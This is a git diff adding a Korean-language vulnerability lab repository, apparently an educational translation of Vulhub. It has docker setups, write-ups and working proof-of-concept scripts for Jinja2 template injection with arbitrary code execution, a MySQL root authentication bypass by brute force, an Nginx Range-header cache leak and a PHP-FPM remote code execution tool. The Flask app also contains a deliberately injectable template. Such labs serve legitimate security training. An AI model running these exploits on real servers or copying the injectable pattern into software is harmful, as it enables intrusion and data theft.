diff --git a/.gitignore b/.gitignore new file mode 100644 index 00000000..496ee2ca --- /dev/null +++ b/.gitignore @@ -0,0 +1 @@ +.DS_Store \ No newline at end of file diff --git a/Flask/SSTI/.gitignore b/Flask/SSTI/.gitignore new file mode 100644 index 00000000..ed8ebf58 --- /dev/null +++ b/Flask/SSTI/.gitignore @@ -0,0 +1 @@ +__pycache__ \ No newline at end of file diff --git a/Flask/SSTI/1.png b/Flask/SSTI/1.png new file mode 100644 index 00000000..2fe6649c Binary files /dev/null and b/Flask/SSTI/1.png differ diff --git a/Flask/SSTI/2.png b/Flask/SSTI/2.png new file mode 100644 index 00000000..e74e966f Binary files /dev/null and b/Flask/SSTI/2.png differ diff --git a/Flask/SSTI/README.md b/Flask/SSTI/README.md new file mode 100644 index 00000000..16b3064d --- /dev/null +++ b/Flask/SSTI/README.md @@ -0,0 +1,37 @@ +# Flask (Jinja2) SSTI (Server Side Template Injection) + +> [신경방 (@positiveWand)](https://github.com/positiveWand) + +
+ +## 요약 + +- 서버 탬플릿 엔진은 사용자로부터 요청이 들어올때마다 작성된 템플릿 파일을 렌더링하고 그 결과를 사용자에게 반환한다. +- 서버는 서버에 저장된 데이터, 사용자 요청과 함께 전달받은 데이터 등과 같이 서버에서 사용가능한 데이터들을 이용해 렌더링을 수행한다. +- 이 취약점은 Flask와 Flask에서 사용하는 템플릿 엔진 "Jinja2"를 사용할 때 발생. 사용자가 잘 구성한 렌더링 코드 문자열을 서버에 전달하고 서버가 이 문자열을 그대로 템플릿 엔진에 삽입하여 렌더링을 수행한다면 사용자가 전달한 임의의 Python 코드가 실행될 수 있다. + +
+ +## 환경 구성 및 실행 + +1. `docker compose up -d` 를 실행하여 테스트 환경을 실행. +2. `http://your-ip:8000/?name={{233*233}}`에 접속하여 54289가 출력되는지 확인하여 SSTI 취약점이 존재함을 확인합니다. +3. `python poc.py`를 실행하여 공격을 수행하는 URL을 확인. +4. 해당 URL에 접속하면 삽입한 코드가 실행되어 서버 프로세스의 id가 출력되는 것을 확인할 수 있음. + ++) `poc.py`의 `script` 변수의 값을 원하는 Python 코드로 바꾸면 해당 코드가 서버에서 실행된다. +(기본 코드는 서버 프로세스의 id를 출력하는 코드) + +
+ +## 결과 + +![poc 실행 이미지](./1.png) + +![서버로부터 받은 반환값](./2.png) + +
+ +## 정리 + +- 이 취약점은 사용자가 서버에서 임의의 코드를 실행하도록 할 수 있게 만들기 때문에 위험하다. 안전한 웹 서비스 운영을 위해서는 서버 개발자가 혹은 라이브러리, 프레임워크에서 사용자가 전달한 데이터가 템플릿 코드인지 확인하여 필터링하거나 사용자 입력 데이터가 실행으로 이어지지 않도록 해야한다. diff --git a/Flask/SSTI/docker-compose.yml b/Flask/SSTI/docker-compose.yml new file mode 100644 index 00000000..8a9bc21e --- /dev/null +++ b/Flask/SSTI/docker-compose.yml @@ -0,0 +1,8 @@ +version: '2' +services: + web: + image: vulhub/flask:1.1.1 + volumes: + - ./src:/app + ports: + - "8000:8000" \ No newline at end of file diff --git a/Flask/SSTI/poc.py b/Flask/SSTI/poc.py new file mode 100644 index 00000000..6ad27b55 --- /dev/null +++ b/Flask/SSTI/poc.py @@ -0,0 +1,28 @@ +from urllib import parse + +# 실행할 Python 코드 +script = '__import__("os").popen("id").read()' +# 서버에 전달할 템플릿 코드 +value = """{% for c in [].__class__.__base__.__subclasses__() %} +{% if c.__name__ == 'catch_warnings' %} + {% for b in c.__init__.__globals__.values() %} + {% if b.__class__ == {}.__class__ %} + {% if 'eval' in b.keys() %} + {{ b['eval']('%s') }} + {% endif %} + {% endif %} + {% endfor %} +{% endif %} +{% endfor %}""" +value = value.replace("%s", script) +print("[삽입될 템플릿 코드]") +print(value) +print() + +# SSTI를 수행하는 URL +query = [("name", value)] +url = "http://localhost:8000/?" +url = url + parse.urlencode(query) # 삽입할 코드 퍼센트 인코딩하여 쿼리값으로 설정 +print("[요청 URL]") +print(url) +print() diff --git a/Flask/SSTI/src/app.py b/Flask/SSTI/src/app.py new file mode 100644 index 00000000..ff72d1f5 --- /dev/null +++ b/Flask/SSTI/src/app.py @@ -0,0 +1,14 @@ +from flask import Flask, request +from jinja2 import Template + +app = Flask(__name__) + +@app.route("/") +def index(): + name = request.args.get('name', 'guest') + + t = Template("Hello " + name) + return t.render() + +if __name__ == "__main__": + app.run() \ No newline at end of file diff --git a/LICENSE b/LICENSE index 8720f571..e4cb4774 100644 --- a/LICENSE +++ b/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2023 Gunho Park +Copyright (c) 2023 gunh0 (Gunho Park) Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/MySQL/CVE-2012-2122/README.md b/MySQL/CVE-2012-2122/README.md new file mode 100644 index 00000000..e330aed1 --- /dev/null +++ b/MySQL/CVE-2012-2122/README.md @@ -0,0 +1,52 @@ +# CVE-2012-2122 + +> [배소정 (@baethwjd2)](https://github.com/baethwjd2) + +
+ +### 요약 + +- CVE-2012-2122는 MySQL과 MariaDB의 특정 버전에서 발견된 **인증 우회** 취약점 +- 특정 버전의 MySQL은 비밀번호의 해시값을 memcmp 함수로 캐스팅하여 인증 +- memcmp 함수는 -128 ~ 127 사이의 값을 반환하므로, 잘못된 비밀번호를 입력하더라도 1/256의 확률로 로그인에 성공 +- 따라서 임의의 비밀번호로 로그인을 반복함으로써, 악의적인 공격자가 DB의 root 계정을 쉽게 획득 가능 + +
+ +### 환경 구성 및 실행 + +- `docker compose up -d` 커맨드를 입력해 테스트 환경을 실행 (취약점이 보고된 MySQL 5.5.22의 컨테이너 이미지 사용) +- `pip install pymysql` 커맨드로 poc.py 실행을 위한 pymysql 패키지 설치 +- `python3 poc.py` 를 실행해 DB의 **root 계정**을 탈취할 수 있음. 유저 정보를 출력하여 root 계정으로 로그인이 됐는지 확인 + +
+ +### poc.py + +1/256의 확률로 로그인에 성공할 수 있으므로, 충분한 횟수만큼 로그인을 반복 시행한다. + +``` +for i in range(1, 10001): + password = str(i) + conn = pymysql.connect(user=user, password=password, host=host, port=port, charset='utf8') +``` + +유저 정보를 확인하여 root 계정 로그인에 성공했음을 확인한다. + +``` +cursor.execute("SELECT user()") +``` + +
+ +### 결과 + +![](result.png) + +
+ +### 정리 + +해당 취약점을 통해 공격자는 root를 포함한 특정 사용자 계정에 로그인하여, 인가되지 않은 권한을 획득할 수 있다. + +이러한 상황을 방지하기 위해, 가장 먼저 관리자는 DB 서버의 네트워크가 노출되지 않도록 노력해야 한다. 즉, 인가되지 않은 액세스를 차단할 수 있도록 미리 서버를 설정해야 한다. 그리고 주기적으로 서비스 취약점을 모니터링하고 패치해야 한다. diff --git a/MySQL/CVE-2012-2122/docker-compose.yml b/MySQL/CVE-2012-2122/docker-compose.yml new file mode 100644 index 00000000..d247d2c2 --- /dev/null +++ b/MySQL/CVE-2012-2122/docker-compose.yml @@ -0,0 +1,9 @@ +# Docker Compose 버전 정의 +version: '2' + +# Docker Container 정의 +services: + mysql: + image: vulhub/mysql:5.5.23 # vulhub/mysql 이미지 사용 + ports: + - "3306:3306" # host와 container의 port mapping \ No newline at end of file diff --git a/MySQL/CVE-2012-2122/poc.py b/MySQL/CVE-2012-2122/poc.py new file mode 100644 index 00000000..c48b45fb --- /dev/null +++ b/MySQL/CVE-2012-2122/poc.py @@ -0,0 +1,35 @@ +import pymysql + + +# MySQL 접속 정보 +user = "root" +host = "127.0.0.1" +port = 3306 + + +# root 계정 로그인 시도 +for i in range(1, 10001): + try: + password = str(i) + + conn = pymysql.connect( + user=user, password=password, host=host, port=port, charset="utf8" + ) + cursor = conn.cursor() + + print(i, "번째 시도 - root 계정 로그인 성공") + break + + except: + print(i, "번째 시도 - root 계정 로그인 실패") + + +# 실제로 root 계정을 획득했는지 확인 +cursor.execute("SELECT user()") + +for data in cursor: + print("유저 계정:", data[0]) + + +# DB 접속 종료 +conn.close() diff --git a/MySQL/CVE-2012-2122/result.png b/MySQL/CVE-2012-2122/result.png new file mode 100644 index 00000000..90d05833 Binary files /dev/null and b/MySQL/CVE-2012-2122/result.png differ diff --git a/Nginx/CVE-2017-7529/README.md b/Nginx/CVE-2017-7529/README.md new file mode 100644 index 00000000..2f0e3998 --- /dev/null +++ b/Nginx/CVE-2017-7529/README.md @@ -0,0 +1,35 @@ +# CVE-2017-7529 + +> [박건호 (@c0dep1ayer)](https://github.com/c0dep1ayer) + +
+ +### 요약 + +- Nginx는 리버스 프록시 사이트에서 일부 파일을 캐싱, 특히 정적 파일을 캐싱 + - 이 캐시의 일부는 파일에 저장되며, 각 캐시 파일에는 "파일 헤더", "HTTP 응답 헤더", "HTTP 응답 본문"이 포함 +- 요청에 Range 헤더가 포함되면 Nginx는 지정된 시작 및 종료 위치에 따라 지정된 길이의 내용을 반환 + - 두 개의 음수 위치를 구성하면, 예를 들어 (-600, -9223372036854774591), 음수 위치의 데이터를 읽을 수 있음 +- 이 요청이 캐시 파일에 일치하면 캐시 파일 내의 "HTTP 응답 본문" 앞에 있는 "파일 헤더", "HTTP 응답 헤더" 등의 내용을 읽을 수 있음 + +
+ +### 환경 구성 및 실행 + +- `docker compose up -d`를 실행하여 테스트 환경을 실행 +- `http://your-ip:8080/`에 접속하여 Nginx 기본 페이지를 확인 + - 이 페이지는 실제로 8081 포트의 내용을 리버스 프록시로 전달 +- `python3 poc.py http://your-ip:8080/`를 호출하여 반환 결과를 읽음 + - 결과에서 "HTTP 응답 본문" 앞에 있는 "파일 헤더", "HTTP 응답 헤더" 등의 내용을 읽을 수 있음 + +
+ +### 결과 + +![](result.png) + +
+ +### 정리 + + 이 취약점은 공격자가 Nginx 서버의 캐시 파일에서 예상치 못한 데이터를 읽을 수 있게 만들어, 정보 유출의 위험이 있다. 안전한 웹 서비스 운영을 위해서는 이러한 취약점을 주기적으로 확인하고 패치하는 것이 중요하다. diff --git a/Nginx/CVE-2017-7529/default.conf b/Nginx/CVE-2017-7529/default.conf new file mode 100644 index 00000000..f9604dcf --- /dev/null +++ b/Nginx/CVE-2017-7529/default.conf @@ -0,0 +1,28 @@ +proxy_cache_path /tmp/nginx levels=1:2 keys_zone=cache_zone:10m; +proxy_cache_valid 200 10m; + +server { + listen 8081; + server_name localhost; + + charset utf-8; + + location / { + root /usr/share/nginx/html; + index index.html; + } +} +server { + listen 8080; + server_name localhost; + + charset utf-8; + + location / { + proxy_pass http://127.0.0.1:8081/; + proxy_set_header HOST $host; + proxy_cache cache_zone; + add_header X-Proxy-Cache $upstream_cache_status; + proxy_ignore_headers Set-Cookie; + } +} \ No newline at end of file diff --git a/Nginx/CVE-2017-7529/docker-compose.yml b/Nginx/CVE-2017-7529/docker-compose.yml new file mode 100644 index 00000000..29d385b1 --- /dev/null +++ b/Nginx/CVE-2017-7529/docker-compose.yml @@ -0,0 +1,8 @@ +version: "2" +services: + nginx: + image: vulhub/nginx:1.13.2 + volumes: + - ./default.conf:/etc/nginx/conf.d/default.conf + ports: + - "8080:8080" diff --git a/Nginx/CVE-2017-7529/poc.py b/Nginx/CVE-2017-7529/poc.py new file mode 100644 index 00000000..30faaa6f --- /dev/null +++ b/Nginx/CVE-2017-7529/poc.py @@ -0,0 +1,27 @@ +#!/usr/bin/env python +import sys +import requests + +# 사용자로부터 입력받은 URL의 인자 개수를 확인 +if len(sys.argv) < 2: + # 사용 방법을 출력 + print("%s url" % (sys.argv[0])) + print("eg: python %s http://your-ip:8080/" % (sys.argv[0])) + sys.exit() # 인자가 부족할 경우 프로그램 종료 + +# HTTP 요청에 사용할 헤더 설정 +headers = { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240" +} + +offset = 605 # 오프셋 값 설정 +url = sys.argv[1] # 사용자로부터 입력받은 URL +file_len = len(requests.get(url, headers=headers).content) # URL의 내용 길이를 가져옴 + +# Range 헤더를 설정하여 취약점을 이용 +n = file_len + offset +headers["Range"] = "bytes=-%d,-%d" % (n, 0x8000000000000000 - n) + +# 설정된 헤더로 URL에 요청을 보냄 +r = requests.get(url, headers=headers) +print(r.text) # 응답 내용 출력 diff --git a/Nginx/CVE-2017-7529/result.png b/Nginx/CVE-2017-7529/result.png new file mode 100644 index 00000000..7253bc87 Binary files /dev/null and b/Nginx/CVE-2017-7529/result.png differ diff --git a/README.assets/logo.svg b/README.assets/logo.svg new file mode 100644 index 00000000..6a3cf781 --- /dev/null +++ b/README.assets/logo.svg @@ -0,0 +1,41 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/README.md b/README.md index 79ce7b7e..94723d9d 100644 --- a/README.md +++ b/README.md @@ -1,2 +1,18 @@ -# whitehat-school-vulhub -차세대 보안리더 양성 프로그램 화이트햇 스쿨 1기 과제 제출 Repository +# Korean Vulhub (한글판) + +![logo](./README.assets/logo.svg) + +[Vulhub](https://github.com/vulhub/vulhub) (https://vulhub.org/) 을 기반으로 한국어 번역 및 컨텐츠를 추가하는 것을 목표로 공동작업합니다. + +차세대 보안리더 양성 프로그램 화이트햇 스쿨 수강생들이 기여하고 있습니다. + +
+ +### Table of Contents + +- Flask + - [SSTI](./Flask/SSTI/README.md) | Server Side Template Injection / [신경방 (@positiveWand)](https://github.com/positiveWand) +- MySQL + - [CVE-2012-2122](./MySQL/CVE-2012-2122/README.md) | MySQL Authentication Bypass / [배소정 (@baethwjd2)](https://github.com/baethwjd2) +- Nginx + - [CVE-2017-7529](./Nginx/CVE-2017-7529/README.md) | Nginx Integer Overflow Vulnerability / [박건호 (@c0dep1ayer)](https://github.com/c0dep1ayer) diff --git a/php/CVE-2019-11043/README.md b/php/CVE-2019-11043/README.md new file mode 100644 index 00000000..cc07575e --- /dev/null +++ b/php/CVE-2019-11043/README.md @@ -0,0 +1,37 @@ +# PHP-FPM Remote Command Execution (CVE-2019-11043) + +> [임형천 (@Limguri)](https://github.com/Limguri) + +
+ +### 요약 + +- CVE-2019-11043는 PHP의 취약점으로, 취약점은 PHP-FPM이 활성화된 웹 서버에서 발생하며 특정 조건에서 원격에서 악의적인 코드 실행이 가능 + - PHP-FPM(PHP FastCGI Process Manager)은 웹 서버와 외부 프로그램인 PHP를 연결하여 PHP를 FastCGI 모드로 실행 +- 일반적인 NGINX 환경 구성에서 발생 +- 공격자는 URL 쿼리 문자열을 통해 취약점을 악용하여 RCE +- 결과적으로 웹 사용자는 원격으로 코드를 실행 + +
+ +### 환경 구성 및 실행 + +- `docker compose up -d`를 실행하여 테스트 환경을 실행 +- `http://your-ip:8080/`에 접속하여 Nginx 기본 페이지를 확인 +![](pagh.png) +- 해당 도구 이용하여 취약점 재현 +- `go install github.com/neex/phuip-fpizdam@latest`을 통해 해당 도구 설치 +- `~/go/bin`으로 이동 후 생성된 파일로 공격 + - 공격 대상 정보를 인자 값으로 설정해주는 POC 스크립트 +![](go2.png) +
+ +### 결과 + +![](success.png) + +
+ +### 정리 + +CVE-2019-11043는 PHP7의 원격 코드 실행 취약점으로, 이를 악용하는 공격이 발생했다. 웹 서버 관리자는 가능한 빨리 해당 패치된 버전으로 업그레이드하고, 보안 강화를 위해 다양한 방법을 검토하는 것이 중요히다. diff --git a/php/CVE-2019-11043/default.conf b/php/CVE-2019-11043/default.conf new file mode 100644 index 00000000..dcaa067b --- /dev/null +++ b/php/CVE-2019-11043/default.conf @@ -0,0 +1,27 @@ +server { + listen 80 default_server; + listen [::]:80 default_server; + + root /usr/share/nginx/html; + + index index.html index.php; + + server_name _; + + location / { + try_files $uri $uri/ =404; + } + + location ~ [^/]\.php(/|$) { + fastcgi_split_path_info ^(.+?\.php)(/.*)$; + include fastcgi_params; + + fastcgi_param PATH_INFO $fastcgi_path_info; + fastcgi_index index.php; + fastcgi_param REDIRECT_STATUS 200; + fastcgi_param SCRIPT_FILENAME /var/www/html$fastcgi_script_name; + fastcgi_param DOCUMENT_ROOT /var/www/html; + fastcgi_pass php:9000; + } + +} \ No newline at end of file diff --git a/php/CVE-2019-11043/docker-compose.yml b/php/CVE-2019-11043/docker-compose.yml new file mode 100644 index 00000000..7e2df911 --- /dev/null +++ b/php/CVE-2019-11043/docker-compose.yml @@ -0,0 +1,15 @@ +version: '2' +services: + nginx: + image: nginx:1 + volumes: + - ./www:/usr/share/nginx/html + - ./default.conf:/etc/nginx/conf.d/default.conf + depends_on: + - php + ports: + - "8080:80" + php: + image: php:7.2.10-fpm + volumes: + - ./www:/var/www/html diff --git a/php/CVE-2019-11043/go2.png b/php/CVE-2019-11043/go2.png new file mode 100644 index 00000000..79c98558 Binary files /dev/null and b/php/CVE-2019-11043/go2.png differ diff --git a/php/CVE-2019-11043/page.png b/php/CVE-2019-11043/page.png new file mode 100644 index 00000000..346b6581 Binary files /dev/null and b/php/CVE-2019-11043/page.png differ diff --git a/php/CVE-2019-11043/success.png b/php/CVE-2019-11043/success.png new file mode 100644 index 00000000..55825218 Binary files /dev/null and b/php/CVE-2019-11043/success.png differ diff --git a/php/CVE-2019-11043/www/index.php b/php/CVE-2019-11043/www/index.php new file mode 100644 index 00000000..48d08db0 --- /dev/null +++ b/php/CVE-2019-11043/www/index.php @@ -0,0 +1,2 @@ +